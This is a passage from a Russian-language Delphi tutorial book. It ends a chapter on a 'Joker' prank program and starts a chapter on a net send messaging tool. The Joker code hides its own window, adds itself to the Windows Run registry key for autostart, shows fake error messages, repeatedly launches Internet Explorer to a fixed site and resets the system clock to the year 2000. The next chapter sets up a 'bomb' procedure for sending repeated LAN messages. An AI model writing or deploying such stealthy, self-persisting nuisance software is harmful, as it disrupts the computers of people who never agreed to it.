Delphi. Учимся на примерах, Парижский Сергей Михайлович

Delphi. Учимся на примерах

на обложку

Парижский Сергей Михайлович

Шрифт:

end;

//текст "ошибки"

err_str:= err_str + IntToStr(Random(99999));

end;

MessageDlg(errstr, mtError, [mbOk], 0); //выводим сообщение

end;

9: begin //Запуск Internet Explorer

for i:=1 to Random(10)+ 5 do //случайное число от 5 до 15.

ShellExecute(0, 'open', 'C:\Program Files\lnternet Explorer\' +

'IEXPLORE.EXE', 'www.heel.nm.ru', 0, SW_MAXIMIZE);

end;

10: begin //Перевести время

GetLocalTime(tm); //узнаем текущую дату и время

tm.wYear:= 2000; //устанавливаем год

tm.wMonth:= 01; //месяц

tm.wDay:= 01; //день

tm.wHour:= 0; //часы

tm.wMinute:= 0; //минуты

tm.wSecond := 1; //секунды

tm.wMilliseconds := 0; //мс

SetLocalTime(tm); //устанавливаем новую дату и время

end;

procedure TForm1.FormPaint(Sender: TObject);

begin

Form1.Hide; //прячем форму

end;

procedure TForm1.FormCreate(Sender: TObject);

var

reg:TRegistry;//переменная для работы с реестром

path: string;//содержит путь к нашей программе

begin

Randomize; //генератор случайных чисел

//узнаем путь к программе и ее имя

path:= Application.EXEname;

reg:= TRegistry.Create;//открываем реестр

//ветка текущего пользователя

reg.RootKey:= HKEY_CURRENT_USER;

//открываем раздел автозагрузки

if reg.OpenKey('\Software\Microsoft\Windows\' +

'CurrentVersion\Run', True)

then begin

//записываем ссылку на нашу программу в автозагрузку

reg.WriteString('Joker', path);

reg.CloseKey;//закрываем реестр

reg.Free;//освобождаем память

end;

end.

⊚ Все файлы проекта и исполняемый файл рассмотренной программы находятся на прилагаемом к книге компакт-диске в папке Chapter_14.

Глава 15

Отправка сообщений в локальной сети

Постановка задачи

Разработать программу, которая будет предоставлять интерфейс для использования стандартной для Win2000/XP команды передачи сообщений net send. Дать возможность указать пользователю адрес получателя, текст сообщения и количество отправляемых сообщений. Также предусмотреть возможность установки блокировки на получение сообщений от других компьютеров.

Разработка формы

Создайте новый проект Delphi. Измените заголовок формы (свойство Caption) на Net Sender. Разместите вдоль левого края формы один над другим три компонента Label категории Standard и присвойте их свойству Caption значения IP-адрес:, Сообщение: И Количество:.

Рядом с каждой из меток разместите по компоненту Edit категории Standard. Самый верхний назовите ip (свойство Name), а свойству Text присвойте значение 192.168.0.1.; среднее поле назовите txt, а свойству Text присвойте какой-либо текст сообщения по умолчанию; самое нижнее поле назовите how, а свойству Text присвойте значение 1.

Под перечисленными компонентами разместите компонент Checkbox категории Standard. Присвойте ему имя secure, свойству Caption присвойте значение Отключить прием сообщений, а свойству Checked — значение True.

В самом низу формы разместите кнопку (компонент Button категории Standard), присвоив ее свойству Caption значение Send. Также нам понадобится таймер (компонент Timer категории System), для которого свойству Interval следует присвоить значение 10.

Полученная форма должна соответствовать рис. 15.1.

Рис. 15.1. Форма для программы отправки сообщений в локальной сети

Разработка программного кода

Прежде всего напишем собственную процедуру bomb, которая будет считывать все настройки и отправлять сообщение. Объявите эту процедуру как закрытый член класса формы:

type

TForm1 = class(TForm)

…

private

{ Private declarations }

procedure bomb;

public

{ Public declarations }

end;

Также нам понадобится глобальная переменная i типа integer:

var

Form1: TForm1;